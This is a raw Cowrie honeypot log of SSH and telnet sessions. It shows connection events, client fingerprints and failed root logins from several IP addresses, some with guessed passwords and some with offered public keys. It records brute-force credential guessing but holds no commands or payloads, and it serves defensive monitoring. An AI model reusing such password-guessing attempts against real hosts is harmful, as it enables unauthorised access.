{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:20:48.276249Z","src_ip":"181.47.9.103","session":"89144f3831e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":56816,"dst_ip":"159.203.135.109","dst_port":22,"session":"d92f5e0d09b7","protocol":"ssh","message":"New connection: 43.173.89.56:56816 (159.203.135.109:22) [session: d92f5e0d09b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:03.229296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:03.234272Z","src_ip":"43.173.89.56","session":"d92f5e0d09b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:03.302346Z","src_ip":"43.173.89.56","session":"d92f5e0d09b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"136060","message":"login attempt [root/136060] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:03.605095Z","src_ip":"43.173.89.56","session":"d92f5e0d09b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:04.680020Z","src_ip":"43.173.89.56","session":"d92f5e0d09b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57442,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b820417a68c","protocol":"telnet","message":"New connection: 192.119.13.58:57442 (10.17.0.5:23) [session: 7b820417a68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:08.355481Z"}
{"eventid":"cowrie.session.closed","duration":1.2357690334320068,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:09.591157Z","src_ip":"192.119.13.58","session":"7b820417a68c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38192,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ddf71f3f98c","protocol":"telnet","message":"New connection: 192.119.13.58:38192 (10.17.0.5:23) [session: 3ddf71f3f98c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:10.921570Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":54334,"dst_ip":"159.203.135.109","dst_port":22,"session":"68714042f744","protocol":"ssh","message":"New connection: 43.153.39.191:54334 (159.203.135.109:22) [session: 68714042f744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:15.953120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:15.957934Z","src_ip":"43.153.39.191","session":"68714042f744","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:16.026464Z","src_ip":"43.153.39.191","session":"68714042f744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53462,"dst_ip":"10.17.0.5","dst_port":23,"session":"d025429a2cf0","protocol":"telnet","message":"New connection: 192.119.13.58:53462 (10.17.0.5:23) [session: d025429a2cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:16.118410Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Peter","message":"login attempt [root/Peter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:16.329903Z","src_ip":"43.153.39.191","session":"68714042f744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:17.402525Z","src_ip":"43.153.39.191","session":"68714042f744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.131.189","src_port":48668,"dst_ip":"10.17.0.5","dst_port":22,"session":"af619a18aa55","protocol":"ssh","message":"New connection: 176.65.131.189:48668 (10.17.0.5:22) [session: af619a18aa55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:19.141968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:19.147135Z","src_ip":"176.65.131.189","session":"af619a18aa55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:19.235990Z","src_ip":"176.65.131.189","session":"af619a18aa55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:94:dd:5e:f0:ed:7b:4e:4f:f5:f0:ec:fd:80:4d:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzZ/XKjqH6ZTBR2O6zTpBKZDqqk7LxbE3i2AqO8HvpSEFoBqMshnU7amMpBntNjBAsIBqXBqxfsmxjp4GA2/ozwSRIArH34zYzY/DDQf5uFEACYBf4nDSDas0wk7fQCEbwKDDhHwMdNP7m9CMNPPf5SZH47c121XEJdWf4EEs1OYct1fIxNTnN11yoF0j008Y7GiPFKlF6SX1NitC5k+7nkhony+gF2XqC6/cNGgF7PRBd/K/t7Z+zcvRoJWR6mext/uomS4V+A1cGVqiMm4bC6kCJdaIWihOO/CRm55P7qNXtcQmx/zOV55w3sAqv0pyku0pdQwfMLap8dDiZgXr/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:94:dd:5e:f0:ed:7b:4e:4f:f5:f0:ec:fd:80:4d:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:19.654063Z","src_ip":"176.65.131.189","session":"af619a18aa55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:94:dd:5e:f0:ed:7b:4e:4f:f5:f0:ec:fd:80:4d:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzZ/XKjqH6ZTBR2O6zTpBKZDqqk7LxbE3i2AqO8HvpSEFoBqMshnU7amMpBntNjBAsIBqXBqxfsmxjp4GA2/ozwSRIArH34zYzY/DDQf5uFEACYBf4nDSDas0wk7fQCEbwKDDhHwMdNP7m9CMNPPf5SZH47c121XEJdWf4EEs1OYct1fIxNTnN11yoF0j008Y7GiPFKlF6SX1NitC5k+7nkhony+gF2XqC6/cNGgF7PRBd/K/t7Z+zcvRoJWR6mext/uomS4V+A1cGVqiMm4bC6kCJdaIWihOO/CRm55P7qNXtcQmx/zOV55w3sAqv0pyku0pdQwfMLap8dDiZgXr/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:19.657692Z","src_ip":"176.65.131.189","session":"af619a18aa55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:cc:b9:30:71:24:f1:46:9f:12:99:c7:8c:14:93:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBnM/HhgJ7IyXDmY0NWqgC/MuqgTJWE6PWTJ8hhlRjKIY/tFmhAQhlFp8Hpo4i192a+EMvDzzFBe1xyde2sSKzO0Rf85ccSplqpRy44lQOuK4ct9NODvtp8KvI9Qw/PuvhFAKwNMMI2YHZKXJWSZ8F8DUo4P18YKg1gu16Ui+6e+qIw96QDKWa/Pdc9Jh89tmKnPMYAzVw/iMUxrCwkUKeTWzRTY3PCYdrY4x4mhqQ4tTCn1qYP6IewXxUZE84yn+Iq74oZFB6fBJgwnFjgru/jUbu+BVzNeyWqxh9mWI+ftDPLEO1kcgrX70cwbU2aZ512OecwvuhlFB9ADs9wPezDVNSXDU9a3dkTOmZ07MTfmb4MjAdJXIu3/jUudVlBIZuo08/rTUsTMuvNEmjuysICuqbBh4c4TfWzoVEt1hyBHDtKcFB6eMJwz0Kegnbt/YRmJuLXnS6cnK8Gajk/Nl3HMSPAnOU/3qAYNJ3udYVOV5lkYY3FH+UYPxiu+2FSVpzJft7V5YBLOqZt8EIYEbK/PbylLX2h2Fu9BrTKmpUlXc5ptqJGtAlkWEQbHZvVok1JGZWTGRAtw9SBL14XmP/xti2BIzcxYq82l1vlRoEwT5H7QjMIkCeEhRctP/yoF0ATZc3HNxSVIQwRTnUXjrBAlvJk6vFBGcCtaG+Wr8KDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:cc:b9:30:71:24:f1:46:9f:12:99:c7:8c:14:93:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:19.749526Z","src_ip":"176.65.131.189","session":"af619a18aa55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:cc:b9:30:71:24:f1:46:9f:12:99:c7:8c:14:93:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBnM/HhgJ7IyXDmY0NWqgC/MuqgTJWE6PWTJ8hhlRjKIY/tFmhAQhlFp8Hpo4i192a+EMvDzzFBe1xyde2sSKzO0Rf85ccSplqpRy44lQOuK4ct9NODvtp8KvI9Qw/PuvhFAKwNMMI2YHZKXJWSZ8F8DUo4P18YKg1gu16Ui+6e+qIw96QDKWa/Pdc9Jh89tmKnPMYAzVw/iMUxrCwkUKeTWzRTY3PCYdrY4x4mhqQ4tTCn1qYP6IewXxUZE84yn+Iq74oZFB6fBJgwnFjgru/jUbu+BVzNeyWqxh9mWI+ftDPLEO1kcgrX70cwbU2aZ512OecwvuhlFB9ADs9wPezDVNSXDU9a3dkTOmZ07MTfmb4MjAdJXIu3/jUudVlBIZuo08/rTUsTMuvNEmjuysICuqbBh4c4TfWzoVEt1hyBHDtKcFB6eMJwz0Kegnbt/YRmJuLXnS6cnK8Gajk/Nl3HMSPAnOU/3qAYNJ3udYVOV5lkYY3FH+UYPxiu+2FSVpzJft7V5YBLOqZt8EIYEbK/PbylLX2h2Fu9BrTKmpUlXc5ptqJGtAlkWEQbHZvVok1JGZWTGRAtw9SBL14XmP/xti2BIzcxYq82l1vlRoEwT5H7QjMIkCeEhRctP/yoF0ATZc3HNxSVIQwRTnUXjrBAlvJk6vFBGcCtaG+Wr8KDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:19.753536Z","src_ip":"176.65.131.189","session":"af619a18aa55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:03:57:14:45:32:a6:25:20:a0:e5:88:23:32:20:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0az/pN6EwnHUR8pGEpO5POBGK6QEzJzyPzhe+gxTzFjnBZeAAM3PTg3e9ryH7fWLfHS506pbrbluFgOGCAK/gk+cv/w3wFg759+YlZGy3gfSPpgugHyHaDTamcqSfV/ebaUyMKfCnLnJF7VfiRsKAxG1ajUsMdQgsuA2p7wRNDBxBiQysii7b6AbOLtNWxf/j17iZ72yDYVVPoAho+j/ezX5A2/EH7GyOKu5rg4ufsPVVqAxqk036QMM+op1XQZqfbfSGxgZgKgJmZoAMSi4rOJy0Fi77cZPL7gI5GKc0mbowL+p+g0ZZPgebYvWUHpEBrZHbuJP0kUIEByQeHfcWQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:03:57:14:45:32:a6:25:20:a0:e5:88:23:32:20:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:19.843346Z","src_ip":"176.65.131.189","session":"af619a18aa55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:03:57:14:45:32:a6:25:20:a0:e5:88:23:32:20:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0az/pN6EwnHUR8pGEpO5POBGK6QEzJzyPzhe+gxTzFjnBZeAAM3PTg3e9ryH7fWLfHS506pbrbluFgOGCAK/gk+cv/w3wFg759+YlZGy3gfSPpgugHyHaDTamcqSfV/ebaUyMKfCnLnJF7VfiRsKAxG1ajUsMdQgsuA2p7wRNDBxBiQysii7b6AbOLtNWxf/j17iZ72yDYVVPoAho+j/ezX5A2/EH7GyOKu5rg4ufsPVVqAxqk036QMM+op1XQZqfbfSGxgZgKgJmZoAMSi4rOJy0Fi77cZPL7gI5GKc0mbowL+p+g0ZZPgebYvWUHpEBrZHbuJP0kUIEByQeHfcWQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:19.847067Z","src_ip":"176.65.131.189","session":"af619a18aa55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:68:54:dd:6d:12:6e:35:7d:93:93:ef:74:c0:46:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEv1WFgUS9+VUjhZF6zThRiU7BFpYd3VFOprPJ9WogYxv6X20EVdGFHHJZqC0TTm7cVIoWgQ2p34O2JTVSMYgnEhcg1vSM7JP9tLBpjuP7JSO9WY1tE3mN9tp886T6oGQ3K0pdpcjPv0s+gbUXR/1nVVXW3K1RocnlEeVRqXK+/3c+Wqpkf2PePS0XMr1Dr77831WJPwaipVakIXfTRilhyTcBnE1Zm/Rdh4a/m/qe+N2P1sZ4SSiqHxDNRNwClOLoASCc85TED6PHJFkoRXJQuy5YldIbhaKOxqjoTo6AhURcodvhloeiYdFtkE2T2qRzJSKU2G6+NRoCnppbFYMZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:68:54:dd:6d:12:6e:35:7d:93:93:ef:74:c0:46:11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:19.935691Z","src_ip":"176.65.131.189","session":"af619a18aa55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:68:54:dd:6d:12:6e:35:7d:93:93:ef:74:c0:46:11","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEv1WFgUS9+VUjhZF6zThRiU7BFpYd3VFOprPJ9WogYxv6X20EVdGFHHJZqC0TTm7cVIoWgQ2p34O2JTVSMYgnEhcg1vSM7JP9tLBpjuP7JSO9WY1tE3mN9tp886T6oGQ3K0pdpcjPv0s+gbUXR/1nVVXW3K1RocnlEeVRqXK+/3c+Wqpkf2PePS0XMr1Dr77831WJPwaipVakIXfTRilhyTcBnE1Zm/Rdh4a/m/qe+N2P1sZ4SSiqHxDNRNwClOLoASCc85TED6PHJFkoRXJQuy5YldIbhaKOxqjoTo6AhURcodvhloeiYdFtkE2T2qRzJSKU2G6+NRoCnppbFYMZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:19.939382Z","src_ip":"176.65.131.189","session":"af619a18aa55","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:54:75:f4:8b:6e:ee:58:71:9d:48:16:4b:39:1f:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKhs9GIKRQ4CFG4AVh0Ie+iT7glLYJDIU/xBpted/5CTt8aiJNIlLVCu2abS9vDHefmmYgiMBffHcQVKBqHwbXIsKW2P+L1/OmFIL1mnsdjsivuZtcoxoAbxsB+3MurJVmH3q0UFnTPGsoRXeMwXnUGjQE7hRQtSmPC4w0eJqzQnDn/tBOJTqW0nI8qgGgwQ3N3eBTy+OLWi7BpQu3vD6cKolh+PDJ6OIZWvuMC7JySClitbPxao03omVArk8w/kIjUp9+xH+f0eQFfKTR/gxlxu95+mnxf+9t3lOZxMTBIm5Kg5UrYUOA4o8CwsgPDGenSuyQAPCCSi7xCYBzC29f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:54:75:f4:8b:6e:ee:58:71:9d:48:16:4b:39:1f:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:20.028028Z","src_ip":"176.65.131.189","session":"af619a18aa55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:54:75:f4:8b:6e:ee:58:71:9d:48:16:4b:39:1f:68","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKhs9GIKRQ4CFG4AVh0Ie+iT7glLYJDIU/xBpted/5CTt8aiJNIlLVCu2abS9vDHefmmYgiMBffHcQVKBqHwbXIsKW2P+L1/OmFIL1mnsdjsivuZtcoxoAbxsB+3MurJVmH3q0UFnTPGsoRXeMwXnUGjQE7hRQtSmPC4w0eJqzQnDn/tBOJTqW0nI8qgGgwQ3N3eBTy+OLWi7BpQu3vD6cKolh+PDJ6OIZWvuMC7JySClitbPxao03omVArk8w/kIjUp9+xH+f0eQFfKTR/gxlxu95+mnxf+9t3lOZxMTBIm5Kg5UrYUOA4o8CwsgPDGenSuyQAPCCSi7xCYBzC29f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:20.032600Z","src_ip":"176.65.131.189","session":"af619a18aa55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:20.123765Z","src_ip":"176.65.131.189","session":"af619a18aa55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":53954,"dst_ip":"159.203.135.109","dst_port":22,"session":"15d3895f0968","protocol":"ssh","message":"New connection: 152.32.150.26:53954 (159.203.135.109:22) [session: 15d3895f0968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:26.752357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:26.757215Z","src_ip":"152.32.150.26","session":"15d3895f0968","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:26.767490Z","src_ip":"152.32.150.26","session":"15d3895f0968","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elephant","message":"login attempt [root/elephant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:26.840904Z","src_ip":"152.32.150.26","session":"15d3895f0968","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:27.855607Z","src_ip":"152.32.150.26","session":"15d3895f0968","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":53554,"dst_ip":"159.203.135.109","dst_port":22,"session":"2362fde6ead9","protocol":"ssh","message":"New connection: 43.130.16.4:53554 (159.203.135.109:22) [session: 2362fde6ead9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:21:28.757550Z"}
